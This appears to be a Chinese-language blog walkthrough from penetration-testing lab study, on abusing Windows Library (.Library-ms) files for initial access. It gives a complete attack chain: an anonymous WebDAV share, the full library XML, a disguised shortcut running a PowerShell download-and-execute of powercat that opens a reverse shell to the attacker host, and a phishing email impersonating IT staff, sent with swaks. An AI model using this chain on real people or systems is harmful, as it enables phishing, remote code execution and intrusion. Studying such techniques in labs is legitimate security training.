濫用 Windows 庫文件(Library File)

 濫用 Windows 庫文件(Library File)

首先在 Kali 上設置一個 WebDAV 共享,透過 pip3 先行安裝

指令 pip3 install wsgidav



建立一個路徑 /home/kali_r/webdav 目錄以用作包含 .link 文件的 WebDAV 共享

先在此路徑下建立一個 test.txt 文件

mkdir /home/kali_r/webdav & touch /home/kali_/webdav/test.txt



接下來將從 /home/kali_r/.local/bin 目錄運行 WsgiDAV。整個過程中使用 wsgidav 作為啟動服務器的命令。



提供的第一個參數是 --host,它指定要提供服務的主機

我們將監聽所有帶有 0.0.0.0 的接口

接下來使用 --port=80 指定偵聽端口,並使用 --auth=anonymous 禁用對共享的身份驗證

最後使用 --root /home/kali_r/webdav/ 設置為 WebDAV 共享目錄的根目錄

指令 └─$ /home/kali_r/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali_r/webdav/



netstat 一下可以看到已經有 listen 80 Port



用瀏覽器開啟測試,可以看到前面建立的 test.txt





接著使用 xfreerdp 登入到某台 windows 

帳號 : offsec、密碼 : lab、掛載本機的 /home/kali_r 為遠端的網路磁碟機 aries

└─$ xfreerdp -v:192.168.203.194 -u:offsec -p:lab -drive:aries,/home/kali_r

使用該台機器已安裝的 Visual Studio Code 來進行編輯接下來要用的攻擊檔案




建立一個新的文字檔



建立如下內容檔案

下面的列表包含庫文件的命名空間 。這是從 Windows 7 開始的庫文件格式版本的命名空間。該列表還包含庫描述的結束標記。涵蓋的以下所有標籤都將添加到 libraryDescription 標籤內。

<?xml version="1.0" encoding="UTF-8"?>

<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">

所有內容包含在此

</libraryDescription>



接下來,將添加兩個標籤來提供有關該庫的信息。name 標籤指定該庫的名稱。不能將其與我們可以隨機設置的任意名稱混淆。我們需要通過提供 DLL 名稱和索引來指定庫的名稱。我們可以使用 Microsoft 網站上指定的@shell32.dll,-34575或@windows.storage.dll,-34582 。我們將使用後者來避免可能在“shell32”上標記的基於文本的過濾器出現任何問題。版本標籤可以設置為我們選擇的數值,例如 6 。

<name>@windows.storage.dll,-34582</name>

<version>6</version>



接下來將添加 isLibraryPinned 標籤。此元素指定庫是否固定到 Windows 資源管理器中的導航窗格。對於我們的目標來說,這可能是另一個小細節,可以讓整個過程感覺更真實,因此,我們將其設置為 true。我們要添加的下一個標籤是 iconReference ,它確定使用什麼圖標來顯示庫文件。我們必須以與名稱元素相同的格式指定該值。我們可以使用 imagesres.dll 在所有 Windows 圖標之間進行選擇。我們可以使用索引 "-1002" 作為用戶主目錄中的文檔文件夾圖標,或使用 "-1003" 作為圖片文件夾圖標。我們將提供後者以使其看起來更友善一點。

<isLibraryPinned>true</isLibraryPinned>

<iconReference>imageres.dll,-1003</iconReference>



現在,我們添加 templateInfo 標籤,其中包含 folderType 標籤。這些標籤確定打開庫後默認顯示在 Windows 資源管理器中的列和詳細信息。我們需要指定一個可以在 Microsoft 文檔網頁上查找的 GUID 。在此示例中,我們將使用文檔 GUID 盡可能讓受害者相信。

<templateInfo>

<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>

</templateInfo>



下一個標籤標記庫位置部分的開始,我們指定庫文件應指向的存儲位置。我們首先創建 searchConnectorDescriptionList 標籤,其中包含由 searchConnectorDescription 定義的搜索連接器列表。庫文件使用搜索連接器來指定遠程位置的連接設置。我們可以在searchConnectorDescriptionList 標記內指定一個或多個 searchConnectorDescription 元素。對於本示例,我們僅指定一個。

在搜索連接器的描述中,我們將指定 WebDAV 共享的信息和參數。我們要添加的第一個標籤是isDefaultSaveLocation 標籤,其值設置為 true。此標記確定當用戶選擇保存項目時 Windows 資源管理器的行為。要使用默認行為和位置,我們將其設置為 true。接下來,我們將添加 isSupported 標籤,該標籤未在 Microsoft 文檔網頁中記錄,用於兼容性。我們可以將其設置為false。

最重要的標籤是 url ,我們需要將其指向之前通過 HTTP 創建的 WebDAV 共享。它包含在simpleLocation 標籤中,我們可以使用它以更加用戶友好的方式指定遠程位置,就像普通的 locationProvider 元素一樣。

<searchConnectorDescriptionList>

<searchConnectorDescription>

<isDefaultSaveLocation>true</isDefaultSaveLocation>

<isSupported>false</isSupported>

<simpleLocation>

<url>http://192.168.45.187</url>

</simpleLocation>

</searchConnectorDescription>

</searchConnectorDescriptionList>


最後整個完成全部如下

==============================================================

<?xml version="1.0" encoding="UTF-8"?>

<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">

<name>@windows.storage.dll,-34582</name>

<version>6</version>

<isLibraryPinned>true</isLibraryPinned>

<iconReference>imageres.dll,-1003</iconReference>

<templateInfo>

<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>

</templateInfo>

<searchConnectorDescriptionList>

<searchConnectorDescription>

<isDefaultSaveLocation>true</isDefaultSaveLocation>

<isSupported>false</isSupported>

<simpleLocation>

<url>http://192.168.45.187</url>

</simpleLocation>

</searchConnectorDescription>

</searchConnectorDescriptionList>

</libraryDescription>

==============================================================


另存新檔在桌面取名為 config.Library-ms 如下圖,點兩下就可以看到連線到網路磁碟機

但一般使用者看來就像是一個文件資料夾,不會發現是一個網路分享磁碟機




此檔案一旦被使用過會建立該機器上的相關新標籤名為 serialized

該標籤包含有關 URL 標籤位置的 Base64 編碼信息

此外 URL 標籤內的內容已從 http://192.168.45.187 更改為 \\192.168.45.187\DavWWWRoot

Windows 嘗試優化 Windows WebDAV 客戶端的 WebDAV 連接信息並因此對其進行修改

所以檔案若要重用,需要刪除該新的標籤與設定 URL




接著我們來建立一個看似無害的短捷徑 Shortcut




內容預計輸入如下,透過攻擊機下載 powercat.ps1 然後執行 powercat

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.187:8000/powercat.ps1');

powercat -c 192.168.45.187 -p 4444 -e powershell"



下一步後取名叫做 automatic_configuration 看起來很像無害的捷徑

其實可以在指令最後再下 Windows Update 看起來會更真實無害



建立完成如下



攻擊機有起 8000 Port HTTP Server



以及 4444 Port 的 nc Listener



在 Windows 機器上點兩下後可以發現有來 HTTP Server 下載 powercat.ps1



Reverse Shell 的連線也進來了







練習題 :

目標主機 192.168.203.199

攻擊端 192.168.45.187

第一步 rustscan

└─$ rustscan -a 192.168.203.199 --scripts none --ulimit 5000




有 80 Port 但打開是預設的 IIS 頁面




那就 gobuster with pdf 先跑看看

└─$ gobuster -w directory-list-2.3-medium.txt dir -u http://192.168.203.199/ -t 150 -x pdf

查到一個 info.pdf


看到如下畫面




將檔案下載下來 curl -O http://192.168.203.199/info.pdf

然後看一下 metadata, └─$ exiftool -a -u info.pdf   ,發現作者是 Dave Wizard





寄信進去吧,使用 waks 命令來發送電子郵件。將 dave.wizard@supermagicorg.com 作為電子郵件的收件者參數使用 -t,若有多個收件者就再下一個 -t 接收件者郵件地址

將 test@supermagicorg.com 作為電子郵件寄件者參數使用 --from,將 Windows 庫文件提供使用參數 - - 附加。輸入 --suppress-data 來匯總有關 SMTP 事務的信息。對於電子郵件主題和正文,使用參數 --header  "Subject:主旨 "和參數 --body 讀取 body.txt 當作郵件內文。SMTP Server 使用參數 --server "MAILIP"。最後添加 -ap 參數以啟用密碼身份驗證。

Body 內文如下



=====================================================================

Hello! My name is Dwight, and I'm a new member of the IT Team. 


This week I am completing some configurations we rolled out last week.

To make this easier, I've attached a file that will automatically

perform each step. Could you download the attachment, open the

directory, and double-click "automatic_configuration"? Once you

confirm the configuration in the window that appears, you're all done!


If you have any questions, or run into any problems, please let me know!

=====================================================================

指令

└─$ sudo swaks -t dave.wizard@supermagicorg.com --from test@supermagicorg.com --attach @config.Library-ms --server 192.168.203.199 --body @/home/kali_r/body.txt --header "Subject: automatic_configuration Script" --suppress-data -ap




Web Server 來抓了




Reverse Shell 也進來了




拿答案吧



其他補充

建立的 WEBDAV 網路磁碟機

指令└─$ /home/kali_r/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali_r/webdav/

可以看到有連線進來並存取郵件當中提示到的 /automatic_configuration.lnk 檔案








留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)